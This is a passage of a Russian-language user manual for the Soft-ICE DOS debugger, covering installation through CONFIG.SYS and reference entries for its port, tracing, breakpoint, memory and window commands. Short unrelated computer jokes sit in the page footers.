Внимание: Если у вас нет расширенной памяти, Soft-ICE НЕ может быть загружен как драйвер устройства. Вместо этого он должен быть запущен из командной строки DOS.

2.2.1 Загрузка Без Расширенной Памяти

Когда нет расширенной памяти, Soft-ICE загружается в максимально высокие адреса памяти. В таком случае память, используемая Soft-ICE, исключается из карты памяти, что делает его невидимым для программ DOS. Так как после загрузки Soft-ICE уменьшается память, видимая программами DOS, рекомендуется.

Загружать Soft-ICE до всех TSR или контролирующих программ. Если у вас нет расширенной памяти, просто введите:

S-ICE

2.2.2 Загрузка С Расширенной Памятью

Загрузка Soft-ICE с расширенной памятью может выполняться одним из двух путей:

1. Установить S-ICE.EXE как драйвер в CONFIG.SYS, Этот метод необходим, если вы будете использовать какую-то из следующих возможностей:

Разделение памяти с программами, которые используют расширенную память, используя вызовы ROM BIOS (VDISK.SYS, RAMDRIVE.SYS, HIMEM.SYS, кэш-программы и т.д..). Использование возможностей Soft-ICE - EMM 4.0 Использование Soft-ICE для символьной отладки или отладки на уровне исходного текста. Использование обратной трассировки. Использование Soft-ICE с другими продуктами Nu-Mega, такими как MagicCV,

Загруженный как драйвер, Soft-ICE выделяет часть расширенной памяти для себя и связанных с ним компонент, так что не возникает никаких конфликтов в памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS перед всеми другими драйверами, которые выделяют расширенную память при загрузке (например VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает лучше всего, если он является первым загружаемым драйвером, установленным в CONFIG.SYS.

Для начинающих пользователей Soft-ICE рекомендуется загружать Soft-ICE как первый драйвер в CONFIG.SYS в следующем виде:

device = диск:\путь\S-ICE.EXE /SYM 50

Диск и путь определяют директорию, в которой находится S-ICE.EXE. Эта строка загрузит Soft-ICE при инициализации системы и этого будет достаточно для обучающей части. Однако, Soft-ICE не будет установлен для использования некоторых более мощных возможностей, типа EMM 4.0. Вы можете реконфигурировать Soft-ICE и включить эти возможности после того, как вы немного поэкспериментировали. Если у вас уже есть опыт работы с Soft-ICE или вы хотите немедленно установить Soft-ICE с этими возможностями, пожалуйста прочтите главу 6 (Опции Инициализации Soft-ICE).

Предостережение: При первой на вашей системе установке любого нового драйвера устройства, желательно иметь системную дискету. Это - предупредительная мера для тех не- желательных случаев, когда параметры, принимаемые драйвером по умолчанию, не совместимы с вашей системой.

Если вы точно не знаете, как отредактировать ваш файл CONFIG.SYS, обратитесь к руководству пользователя вашей системы или руководству вашего текстового редактора. После того, как вы изменили ваш CONFIG.SYS вы должны перезагрузить вашу систему, чтобы внесенные изменения вступили в силу.

Руководство по Soft-ICE (DOS) - 10.

Фирме требуется хакер, желательно со знанием компьютера.

Синтаксис:

 [команда | выражение]

Комментарии:

И команда ? и команда H выводят справочную информацию.

Если параметры не определены, система помощи выдает короткие описания всех команд и операторов, по одному экрану за раз. Нажмите любую клавишу для продолжения или нажмите ESC, чтобы выйти из выводимой справки.

Если указана команда, справка выводит более детальную информацию относительно указанной команды, включая синтаксис команды и пример.

Если указано выражение, выражение вычисляется и результат выводится в шестнадцатеричном, десятичном и ASCII-представлении.

Примеры:

? ALTKEY

Эта команда отображает информацию о команде ALTKEY, включая синтаксис и пример.

H 10 + 14*2

Эта команда выводит: 0038 00056 "8". Это - шестнадцатеричное, десятичное и ASCII-представления значения выражения "10 + 14*2".

VER

VER -- Выводит номер версии Soft-ICE.

Синтаксис:

VER

Пример:

VER

Эта команда выводит версию Soft-ICE и сообщение об авторских правах Nu-Mega Technologies.

5.2 Команды Портов ввода/вывода

Команды:

I или IB -- Ввод из байтового порта ввода/вывода IW -- Ввод из порта ввода/вывода с размерностью в слово O или OB -- Вывод в байтовый порт ввода/вывода OW -- Вывод в порт ввода/вывода с размерностью в слово.

I, IB, IW

I, IB, IW -- Ввод из порта ввода/вывода.

Синтаксис:

I [размерность] порт

Размерность -- B -- Байт W -- Слово порт -- байт или слово.

Комментарии:

Команды ввода из порта используются для чтения и отображения значений из аппаратного порта. Ввод может выполняться из портов с размерностью слово или байт. Если размер не определен, то значение по умолчанию - байт.

Пример:

I 21

Эта команда отображает регистр маски первого контроллера прерываний.

O, OB, OW

O, OB, OW, -- Вывод в порт ввода/вывода.

Синтаксис:

O [размерность] порт значение

Размерность -- B -- Байт W -- Слово порт -- байт или слово значение -- байт для байтового порта или слово для порта размерностью в слово.

Комментарии:

Команды вывода в порт используются для записи значения в аппаратный порт. Вывод может выполняться в порты размерностью байт или слово, если размер не определен, то значение по умолчанию - байт.

Пример:

O 21 FF

Эта команда маскирует все прерывания для первого контроллера прерываний.

5.3 Команды Передачи Управления

Команды:

X -- Выйти из окна Soft-ICE G -- Перейти по адресу T -- Протрассировать одну команду P -- Программный шаг HERE -- Исполнение программы до строки, в которой находится курсор GENINT -- Вызов прерывания EXIT -- Вызывает выход из текущей программы DОS'а BOOT -- Перезагрузка системы (с сохранением Soft-ICE) HBOOT -- Жесткая перезагрузка системы (общий сброс).

X

X -- Выйти из окна Soft-ICE.

Синтаксис:

X

Комментарии:

Команда X производит выход из окна Soft-ICE и возвращает управление программе, которая была прервана при вызове Soft-ICE. Окно Soft-ICE исчезает. Если до этого были установлены точки останова, они станут активными.

Пример:

X

G

G -- Перейти по адресу.

Синтаксис:

G [=адрес-начала] [адрес-останова]

Комментарии:

Команда G вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.

Если не указан параметр адрес-начала, выполнение начинается с текущего CS:IP. В противном случае выполнение начинается с адреса-начала. Выполнение продолжается, пока не достигается адрес-останова, используется комбинация клавиш для вызова окна или не выполняется "прилипающая" точка останова.

Адрес останова должен указывать на первый байт опкода команды.

Когда достигается указанный адрес-останова, текущий CS:IP будет указывать на команду, где была установлена точка останова.

Команда G без параметров ведет себя также как команда X.

Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.

Пример:

G CS:1234

Эта команда устанавливает временную точку останова на CS:1234.

T

T -- Протрассировать одну команду.

Синтаксис:

T [=адрес-начала] [счетчик]

Комментарии:

Команда T выполняет одиночный шаг на одну команду, используя флаг трассировки.

Если параметр адрес-начала не указан, выполнение начинается с текущего CS:IP. Если адрес-начала - определен, CS:IP изменяется на адрес-начала для трассировки.

Если указано значение счетчика, Soft-ICE будет считать количество шагов. Команда TRACE будет выполняться, пока счетчик не будет исчерпан или не будет нажата клавиша Esc, независимо от достигнутых точек останова.

В режиме работы с исходным текстом команда T переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции и есть исходный текст вызываемой подпрограммы, T входит в нее. Если нет исходного текста вызываемой процедуры или функции, T перешагивает через подпрограмму.

Пример:

T = 1284 3

Эта команда трассирует три инструкции, начиная с ячейки памяти 1284.

P

P -- Программный шаг.

Синтаксис:

P

Комментарии:

Команда P - логический шаг программы. По текущему CS:IP выполняется одна команда, если она не является обращением, прерыванием, циклом или командой повторения работы со строковыми данными. В этих случаях, прежде чем управление возвращается Soft-IСЕ'у, выполняется вся подпрограмма или итерация.

Команда P использует одноразовую точку останова на выполнение. Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.

В режиме работы с исходным текстом команда P переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции, P перешагивает через подпрограмму.

Пример:

P

Эта команда выполняет один 'программный шаг'.

HERE

HERE -- Исполнение программы до строки, в которой находится курсор.

Синтаксис:

HERE

Комментарии:

Команда HERE выполняется, пока программа не достигает текущей строки курсора. HERE доступна, только когда курсор находится в окне кода. Если окно кода не видимо или курсор - не в окне кода, используйте вместо этого команду G.

Команда HERE вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.

Выполнение начинается с текущего CS:IP и продолжается до встречи адреса текущей позиции курсора в окне кода, используется комбинация клавиш для вызова окна и выполняется "прилипающая" точка останова.

Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команда HERE не будет корректно работать в ОЗУ. При попытке ее использования будет выведено сообщение об ошибке.

Руководство по Soft-ICE (DOS) - 11.

Встречаются двое соседей на лестничной площадке. Один возмущается: - Из вашей квартиры вчера доносились такие крики, будто вы поросенка резали! - Нет, это я антивирус Касперского запускал.

Пример:

HERE

Этот пример устанавливает точку останова на выполнение на текущую позицию курсора, затем выходит из Soft-ICE и начинает выполнение с текущего CS:IP. Заданная по умолчанию Функциональная клавиша: F7.

GENINT

GENINT -- Вызов прерывания.

Синтаксис:

GENINT INT1 | INT3 | NMI | номер-прерывания

Номер-прерывания -- число в диапазоне 00 - FF.

Комментарии:

Команда GENINT вызывает прерывание. Она может использоваться для передачи управления другому отладчику при использовании Soft-ICE с другим отладчиком. Она также может использоваться для проверки подпрограмм обработки прерываний.

Команда GENINT эмулирует последовательность обработки аппаратного прерывания или команды INT. Она сохраняет флаги, регистр CS и регистр IP, затем изменяет значение регистров CS и IP на значение входа в таблицу векторов прерываний, в соответствии с указанным номером прерывания.

Пример:

GENINT NMI

Это вызывает немаскируемое прерывание. Оно передаст управление обратно CodeView, если Soft-ICE используется как вспомогательное средство для CodeView.

EXIT

EXIT -- Вызывает выход из текущей программы DОS'а.

Синтаксис:

EXIT [R] [D]

R -- Восстановить таблицу векторов прерываний D -- Удалить все точки останова.

Комментарии:

Команда EXIT пытается прерывать текущую программу, вызывая функцию выхода DOS (INT 21H, функция 4CH). Эта команда будет работать только если DOS находится в состоянии, когда она способна принять обращение к функции выхода. Если это обращение произведено из некоторых обработчиков прерываний или в других случаях, когда DOS не готова, поведение системы будет непредсказуемо.

Эта функция НЕ производит восстановления системных переменных, кроме таблицы прерываний, при указанной опции R. Это означает что переменные BIOS, видеорежимы и другие данные системного уровня не восстанавливаются.

Использование опции R вызовет восстановление векторов прерываний к значениям которые были в последний раз, когда они были сохранены. Soft-ICE сохраняет векторы прерываний, когда он загружается, когда LDR.EXE загружает программа и когда используется команда VECS S.

Обратите внимание:

Для перезапуска программы, которая была загружена программой-загрузчиком Soft-IСЕ'а (LDR.EXE) сделайте следующее:

EXIT R
LDR prog.EXE

Команда EXIT восстановит таблицу прерываний к значениям, которые содержались в ней до загрузки программы, затем выйдите к командному процессору. При помощи запуска LDR и указания суффикса .EXE, программа загружается обратно без перезагрузки символов и исходного текста. Символы и исходный текст останутся в памяти.

Внимание:

Команда EXIT должна использоваться с осторожностью. Так как Soft-ICE может быть вызван в любое время, может произойти ситуация, когда DOS не в состоянии принять обращение к функции выхода. Также, команда EXIT не производит никакого специфического программного сброса. Например, команда EXIT не восстанавливает видеорежим. Если ваша программа установила видео BIOS и аппаратные средства в определенный видеорежим, они останутся в этом режиме после команды EXIT.

Пример:

EXIT R

Восстанавливает таблицу прерываниq и выходит из текущей программы. Опция R должна использоваться при выходе из программы, загруженной программным загрузчиком Soft-IСЕ'а LDR.EXE.

BOOT

BOOT -- Перезагрузка системы (с сохранением Soft-ICE).

Синтаксис:

BOOT

Комментарии:

Команда BOOT перезагружает систему и сохраняет Soft-ICE. BOOT требуется для отладки последовательности начальной загрузки, загружаемых драйверов DOS и операционных систем отличных от DOS (non-DOS).

BOOT выполняется посредством вызова прерывания 19H ROM BIOS. В некоторых случаях память может быть разрушена до такой степени, что прерывание 19 не будет работать. Тогда вызовите Soft-ICE и используйте команду HBOOT.

Для правильной работы BOOT Soft-ICE должен быть установлен как загружаемый драйвер в CONFIG.SYS перед всеми другими драйверами устройств. Так Soft-ICE сможет восстановить первоначальное состояние системы максимально точно.

Пример:

BOOT

Эта команда выполняет перезагрузку системы. Soft-ICE остается резидентным.

HBOOT

HBOOT -- Жесткая перезагрузка системы (общий сброс).

Синтаксис:

HBOOT

Комментарии:

Команда HBOOT сбрасывает всю систему. Soft-ICE не сохраняется в процессе сброса. HBOOT достаточна, если плата адаптера не требует отключения питания. В этом случае, питание машины нужно отключить и затем восстановить.

Пример:

HBOOT

Эта команда производит перезагрузку системы. Soft-ICE должен быть заново загружен.

5.4 Команды Режима Отладки

Команды:

ACTION -- Устанавливает действие после достижения точки останова WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS BREAK -- Прерывает исполнение в любое время I3HERE -- Перенаправить прерывание 3 на Soft-ICE.

ACTION

ACTION -- Устанавливает действие после достижения точки останова.

Синтаксис:

ACTION [INT1 | INT3 | NMI | HERE | int-номер]

Int-номер -- Любой допустимый номер прерывания (0-FFH). Используйте эту опцию только если пользовательская подпрограмма-обработчик прерывания перехватила этот вектор прерывания (смотрите раздел 11.2).

Комментарии:

Команда ACTION определяет, куда передается управление, когда выполнены условия точки останова. В большинстве случаев, желательное действие - INT3 или HERE, INT3 обычно используется, если Soft-ICE используется вместе с главным отладчиком, HERE используется, когда желательно вернуться в Soft-ICE при выполнении условий останова, INT1 и NMI - варианты для некоторых отладчиков, которые не работают с опцией INT3. Например, CODEVEW лучше всего работает с ACTION установленным в NMI.

Используйте int-номер, если имеется установленная пользовательская процедура обработки прерывания. Использование int-номера без установленной процедуры пользователя по обработке прерывания вызовет ошибку. Для получения более подробной информации, см. раздел 11.2, 'Пользовательские точки останова'.

Если параметры команды ACTION не указаны, отображается текущее установленное действие.

Заданное по умолчанию действие - HERE.

Пример:

ACTION HERE

Эта команда указывает, что когда будут выполнены условия точки останова, управление вернется Soft-IСЕ'у.

WARN

WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS.

Синтаксис:

WARN [ON | OFF]

Комментарии:

Команда WARN предусмотрена для использования Soft-ICE с отладчиками, которые используют DOS и ROM BIOS. Много отладчиков используют DOS и ROM BIOS для вывода на экран и чтения нажатий клавиш. Так как DOS и ROM BIOS не полностью реентерабельны, эти отладчики не могут корректно работать, если останов происходит во время выполнения процедур DOS или ROM BIOS.

Если установлен WARN ON и ACTION - не HERE, то управление перейдет к Soft-ICE до того как действие фактически произойдет. Система отобразит текущий CS:IP и предоставит вам выбор продолжить или вернуться в Soft-ICE. Вообще, вы должны выбрать возврат в Soft-ICE для продолжения вашей работы по отладке. Продолжайте работу с главным отладчиком, только если вы знаете, что ваш отладчик не вызовет повторного вхождения в DOS или ROM BIOS.

Режим WARN должен быть включен при использовании Soft-ICE с DEBUG, SYMDEB и CODEVIEW.

Если параметры не указаны, отображается текущее состояние WARN.

Значение по умолчанию - режим WARN OFF.

Пример:

WARN ON

Эта команда включает режим предупреждения повторной входимости в DOS/ROM BIOS.

BREAK BREAK -- Прерывает исполнение в любое время.

Синтаксис:

BREAK [ON | OFF]

Комментарии: Команда BREAK позволяет вызывать окно Soft-ICE, когда система остановлена с заблокированными прерываниями. Режим BREAK может использоваться для всего сеанса отладки или он может включаться и отключаться, когда это требуется.

Режим BREAK немного снижает эффективность системы. Это снижение производительности должно оцениваться с точки зрения необходимости выхода из зависшей программы. Пользователь может хотеть иметь включенный режим BREAK на все время, даже при снижении эффективности, потому что программа может зависнуть в любое время.

В отличие от других отладчиков, которые тоже могут быть вызваны в любое время, Soft-ICE не требует внешнего переключателя. Когда BREAK - включен, окно Soft- ICE может быть вызвано в любое время при нажатии текущей комбинации клавиш.

Если параметры не указаны, отображается текущее состояние BREAK.

Значение по умолчанию - BREAK OFF.

Пример:

BREAK ON

Эта команда включает режим BREAK. Это означает что окно Soft-ICE может быть вызвано в любое время, даже если прерывания заблокированы.

Руководство по Soft-ICE (DOS) - 12.

Настоящее имя Билла Гейтса - дед мастдай...

I3HERE

I3HERE -- Перенаправить прерывание 3 на Soft-ICE.

Синтаксис:

I3HERE [ON | OFF]

Комментарии:

Команда I3HERE позволяет вам указать, что любое прерывание 3 вызовет окно Soft-ICE. Эта возможность полезна для остановки вашей программы в определенных местах.

Чтобы использовать эту возможность, поместите INT 3 в ваш код в месте, где вы хотите остановиться. Когда произойдет INT 3, оно вызовет окно Soft-ICE. В этой точке, вы можете использовать команду R IP, чтобы изменить ваш указатель команд на команду, следующую после INT 3, затем вы можете продолжить отладку.

Если параметры не указаны, отображается текущее состояние I3HERE.

Значение по умолчанию - режим I3HERE OFF.

Пример:

I3HERE ON

Эта команда включает режим I3HERE. Любой INT 3, сгенерированный после этого, вызовет окно Soft-ICE.

5.5 Сервисные Команды

Команды:

A -- Транслировать код S -- Поиск данных F -- Заполнить память данными M -- Переместить данные C -- Сравнить два блока данных.

A

A -- Транслировать код.

Синтаксис:

A [Адрес]

Комментарии:

Транслятор Soft-ICE позволяет вам транслировать команды непосредственно в памяти. Транслятор поддерживает базисную систему команд 8086 с расширениями для реального режима 80186 и 80286. Инструкции математического сопроцессора и специфические для 80386 команды, регистры и режимы адресации НЕ могут быть оттранслированы.

Команда A вызывает интерактивный транслятор Soft-ICE. В начале каждой транслируемой строки отображается ее адрес. После того как команда ассемблера набрана и нажат ВВОД, команды транслируются в память по указанному адресу. Команды должны вводиться в стандартном формате Intel. Для выхода из режима транслятора нажмите ВВОД в пустой строке.

Если адресный интервал, в который вы транслируете команды, видим в окне кода, команды будут изменятся интерактивно, по мере трансляции.

Транслятор Soft-IСЕ'а поддерживает стандартную мнемонику семейства 8086, однако имеются некоторые специальные добавления:

Мнемокод DB используется для указания байтов данных непосредственно в памяти. Команда DB сопровождается списком байтов и/или строк в кавычках разделенных пробелами или запятыми. Мнемокод RETF описывает дальний возврат. WORD PTR и BYTE PTR используется для указания размера данных, если не присутствует аргумент-регистр, например: MOV BYTE PTR ES:[ 1234],1. Используйте, FAR и NEAR для явной трансляции дальних и ближних переходов и обращений. Если FAR или NEAR не указаны, то все переходы и обращения - ближние. Операнды, описывающие ячейки памяти, должны помещаться в квадратные скобки, например: MOV AX,[1234].

Пример:

A CS:1234

Эта команда выводит приглашение для ввода команд ассемблера, затем транслирует их, начиная со смещения 1234H в текущий сегмент кода. Нажмите ВВОД в приглашении с адресом после ввода последней команды.

S

S -- Поиск данных.

Синтаксис:

S адрес L длина список-данных

Список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки. длина -- длина в байтах.

Комментарии:

Команда S ищет в памяти последовательности байтов или символов, совпадающих со списком данных. Поиск начинается с указанного адреса и до смещения, равного указанной длине. Адреса каждого найденного в диапазоне совпадения выводятся на экран.

Пример:

S DS:SI+10 L CX 'Привет',12,34

Эта команда ищет строку 'Привет' сопровождаемую байтами 12H и 34H, начиная со смещения SI+10 в текущем сегменте данных и заканчивая адресом через CX байт от начала.

F

F -- Заполнить память данными.

Синтаксис:

F адрес L длина список-данных

Список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки. длина -- длина в байтах.

Комментарии:

Команда F заполняет память последовательностью байтов или символов, определенных в списке-данных. Память заполняется, начиная с указанного адреса и до смещения, равного указанной длине, повторяя список-данных в случае необходимости.

Пример:

F 8000:0 L 100 'Тест'

Эта команда заполняет память, начиная с 8000:0 на длину 100H байтов строкой 'Тест'. Строка 'Тест' повторяется, пока не достигнуто необходимое смещение.

М

M -- Переместить данные.

Синтаксис:

М адрес-начала L длина конечный-адрес

Длина -- длина в байтах.

Комментарии:

Команда M перемещает указанное число байтов из адреса-начала в памяти в конечный-адрес в памяти.

Пример:

М 1000:0 L 200 2000:0

Эта команда перемещает 200H байтов из ячейки памяти 1000:0 в ячейку памяти 2000:0.

C

C -- Сравнить два блока данных.

Синтаксис:

C адрес1 L длина адрес2

Длина -- длина в байтах.

Комментарии:

Команда C сравнивает блок памяти, определенный адресом1 и длиной с блоком памяти определенным адресом2 и длиной. Когда байт из первого блока данных не соответствует байту из второго блока данных, оба байта выводятся на экран вместе с их адресами.

Пример:

C 5000:100 L 10 6000:100

Эта команда сравнивает 10H байтов, начинающихся с ячейки памяти 5000:100 с 10H байтами, начинающимися с ячейки памяти 6000:100.

5.6 Специализированные Отладочные Команды

Команды:

SHOW -- Выводит команды из буфера истории исполнения TRACE -- Включает режим эмуляции пошагового исполнения XT -- Одиночный шаг в режиме эмуляции трассировки XP -- Программный шаг в режиме эмуляции трассировки XG -- Переход по адресу в режиме эмуляции трассировки XRSET -- Сброс буфера истории обратной трассировки VECS -- Сохранение/восстановление/сравнение векторов прерываний SNAP -- Запоминает содержимое блока памяти (snap shot) EMMMAP -- Отображают карту распределения EMM.

SHOW

SHOW -- Выводит команды из буфера истории исполнения.

Синтаксис:

SHOW [B | начало]

B -- Указывает команде SHOW начать вывод с самой старой команды в буфере обратной трассировки. начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать вывод.

Комментарии:

Команда SHOW отображает команды из буфера истории обратной трассировки. Если для команд доступен исходный текст, то дисплей находится в смешанном режиме, в противном случае отображается только код.

SHOW позволяет просматривать буфер обратной трассировки при помощи клавиш вверх, вниз, PageUp и PaqeDn. Для выхода из SHOW нужно нажать клавишу Esc.

Адресу каждой команды предшествует номер входа в буфер. Этот номер показывает, как глубоко в буфере находится команда. Чем больше номер, тем глубже вы в буфере.

Обратите внимание:

До вызова команды SHOW, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.

Подсказки:

Часто полезно иметь видимое окно кода с фактическим кодом области, отображаемой из буфера обратной трассировки. При сравнении фактического исполнения команд с кодом, отображаемыми переходами и обращениями обычно возникает меньше путаницы.

Использование SHOW вместе с командой TRACE позволит вам рассматривать команды в буфере обратной трассировки с двух различных точек зрения.

Пример:

SHOW 40

Этот пример выведет на экран команды из буфера обратной трассировки, начиная с 40-ой инструкции от конца буфера.

TRACE

TRACE -- Включает режим эмуляции пошагового исполнения.

Руководство по Soft-ICE (DOS) - 13.

- А вы купили бы презерватив с эмблемой MicroSoft? - Я - нет. - Почему? - Да сами задумайтесь - мало того, что MICRO да к тому же еще и SOFT!

Синтаксис:

TRACE [начало] | [OFF]

Начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать эмуляцию. OFF -- Выход из режима эмуляции трассировки.

Комментарии:

Команда TRACE позволяет вам повторно "проигрывать" команды из буфера истории обратной трассировки команд, так же как они выполнялись в первый раз. Для использования режима эмуляции трассировки вам необходимо иметь видимое окно кода. После входа в режим эмуляции трассировки используйте команды XT, XP и XG для трассировки команд из буфера.

Для выхода из режима эмуляции трассировки введите TRACE OFF.

TRACE без параметров сообщает включен режим эмуляции трассировки или нет.

Обратите внимание:

До вызова команды TRACE, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.

Подсказки:

Режим эмуляции трассировки наиболее полезен, когда видимо окно кода. Часто полезно использовать TRACE вместе с командой SHOW. Это позволяет просматривать инструкции в буфере истории обратной трассировки одновременно в двух различных формах.

Пример:

TRACE 40

Этот пример производит эмуляцию трассировки, начиная с 40-ой инструкции от последней зарегистрированной команды. Режим эмуляции трассировки будет активен, пока не будет введено TRACE OFF.

XT

XT -- Одиночный шаг в режиме эмуляции трассировки.

Синтаксис:

XT [R]

R -- Одиночный шаг в обратном направлении.

Комментарии:

Команда XT пошагово проходит буфер истории обратной трассировки инструкций. Эта команда действует подобно команде T для нормальной отладки. Заметьте что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.

Команда XT позволяет вам повторно выполнять команды из буфера истории обратной трассировки.

Обратите внимание:

Для использования XT вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Подсказка:

Если вы используете XT часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.

Пример:

XT

Эта команда проходит одну команду в режиме эмуляции трассировки.

XP

XP -- Программный шаг в режиме эмуляции трассировки.

Синтаксис:

XP

Комментарии:

Команда XP производит логический программный шаг в буфере истории обратной трассировки инструкций. Эта команда действует подобно команде P для обычной отладки. Заметьте, что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.

Команда XP позволяет вам повторно выполнять команды из буфера истории обратной трассировки.

Обратите внимание:

Для использования XP вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Подсказка:

Если вы используете XP часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.

Пример:

XP

Эта команда выполняет один программный шаг в режиме эмуляции трассировки.

XG

XG -- Переход по адресу в режиме эмуляции трассировки.

Синтаксис:

X [R] адрес

R -- Поиск адреса в обратном направлении. адрес -- Адрес, по которому надо перейти в буфере истории обратной трассировки.

Комментарии:

Команда XG перемещает указатель команд на следующее упоминание указанного адреса в буфере истории обратной трассировки. Если перед адресом указан R, то указатель команды перемещается на предыдущее упоминание указанного адреса в буфере обратной трассировки.

Адрес должен указывать на первый байт опкода команды.

XG аналогична команде G при нормальной отладке.

Обратите внимание:

Для использования XG вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Пример:

XG 273:1030

Эта команда перемещает указатель команд на следующее упоминание команды по адресу 273:1030.

XRSET

XRSET -- Сброс буфера истории обратной трассировки.

Синтаксис:

XRSET

Комментарии:

Команда XRSET сбрасывает буфер истории обратной трассировки. Эта команда должна выполняться перед установкой диапазона обратной трассировки, если в буфере обратной трассировки имеется нежелательная информация о командах.

Пример:

XRSET

Эта команда сбрасывает буфер обратной трассировки.

VECS

VECS -- Сохранение/восстановление/сравнение векторов прерываний.

Синтаксис:

VECS [C|S|R]

C -- Сравнить текущую таблицу с сохраненной таблицей S -- Сохранить текущую таблицу прерываний в буфере R -- Восстановить таблицу прерываний из буфера.

Комментарии:

Команда VECS позволяет вам сохранять и восстанавливать таблицу прерываний из внутреннего буфера Soft-ICE. Также фактическая таблица может сравниваться с сохраненной таблица с отображением различий.

Когда используется опция C, для сравнения текущей таблицы векторов прерываний с сохраненной копией, вывод производится в следующем формате:

Адрес старый-вектор новый-вектор.

Отображаются все измененные векторы.

Таблица векторов прерываний первоначально сохраняется, при загрузке Soft-ICE. Это Она также автоматически сохраняется при загрузке программы LDR'ом. Хранится только одна копия таблицы векторов прерываний, т.о. при каждом выполнении VECS S, предыдущая копия таблицы прерываний перезаписывается.

Если параметры не указаны, на экран выводится вся таблица векторов прерываний.

Пример:

VECS C

Эта команда сравнивает фактическую таблицу векторов прерываний с предварительно сохраненной во внутреннем буфере векторов Soft-ICE.

SNAP

SNAP -- Запоминает содержимое блока памяти (snap shot).

Синтаксис:

SNAP [C|S|R] адрес1 адрес2

C -- Сравнить буфер с адресным интервалом S -- Сохранить адресный интервал в буфере R -- Восстановить адресный интервал из буфера.

Комментарии:

Команда SNAP запоминает содержимое блока памяти для последующего сравнения. Опция S копирует блок памяти в буфер в дополнительной памяти (XMS). Опция C отображает различия между буфером в дополнительной памяти и фактической памятью, определенной адресным интервалом. Опция R копирует буфер в дополнительной памяти в адресный интервал в стандартной памяти.

Когда используется опция C, для сравнения буфера с адресным интервалом, вывод производится в следующем формате:

Адрес старые-данные новые-данные.

Отображаются все измененные байты.

Обычно для опций C и R адрес необязателен. Если адрес не указан, используется адрес, который был указан в последний раз при использовании команды SNAP.

Примечания:

Для использования команды SNAP вы должны указать переключатель /TRA XXXX в строке S-ICE.EXE в CONFIG.SYS.

Команда SNAP сохраняет данные в буфере истории обратной трассировки. Если вы используете обратную трассировку, у вас будет конфликт со SNAP. В силу своей специфики, SNAP перезапишет информацию обратной трассировки, если вы выполните SNAP S, когда история команд находится в буфере обратной трассировки. Наоборот, если вы сохранили область при помощи SNAP, активация диапазона обратной трассировки перезапишет буфер SNAP.

Пример:

SNAP S 2000:0 4000:0

Эта команда сохраняет блок данных с 2000:0 по 4000:0 в буфере обратной трассировки Soft-ICE.

EMMMAP

EMMMAP -- Отображают карту распределения EMM.

Синтаксис:

Руководство по Soft-ICE (DOS) - 14.

Хоронили Кваку, Порвали три рокет лаунчера.
EMMMAP

Комментарии:

Команда EMMMAP отображает все физические страницы, которые доступны для EMM памяти и страницы, которые в настоящее время отображены.

Обратите внимание:

Для использования этой функции должна быть активирована возможность Soft-ICE EMM. См. главу 8 для подробной информации о предоставлении возможности EMM.

Пример:

EMMMAP

Этот пример отображает текущее распределение EMM и следующей форме.

Физ. страница | Сег. адрес | Дескриптор/Страница(логическая) 00 ¦ D000 ¦ FFFF 01 ¦ D400 ¦ 0001/0000 02 ¦ D800 ¦ 0001/0001 03 ¦ DC00 ¦ 0001/0002.

В этом примере, физическая страница 0 размещена в D000 и не отображается. Физическая страница 1 размещена в D400 и имеет дескриптор 1, в нее отображается страница 0. Физическая страница 2 размещена в D800 и имеет дескриптор 1, в нее отображается страница I. Физическая страница 3 размещена в DC00 и имеет дескриптор 1, в нее отображается страница 2.

5.7 Команды Работы с окнами

Команды:

WR -- Переключает окно регистров WC -- Переключает/устанавливает размер окна кода WD -- Переключает/устанавливает размер окна данных EC -- Войти/выйти из окна кода . -- Найти местоположение текущей команды.

Soft-ICE может выводить окна трех типов: регистров, данных и кода. Любое из этих окон может быть активизировано или деактивировано в любое время. Окна данных и кода могут иметь переменный размер; окно регистров фиксировано в размере. Окна всегда остаются в фиксированном порядке. Начиная с верхней части экрана порядок следующий : окно регистров, окно данных, затем окно кода.

WR

WR -- Переключает окно регистров.

Синтаксис:

WR

Комментарии:

Команда визуализирует окно регистров, если оно в текущий момент невидимо. Если окно регистров в текущий момент видимо, WR удаляет окно регистров.

Окно регистров отображает набор регистров 8086 и флаги процессора.

Функция, заданная по умолчанию: F2.

WC

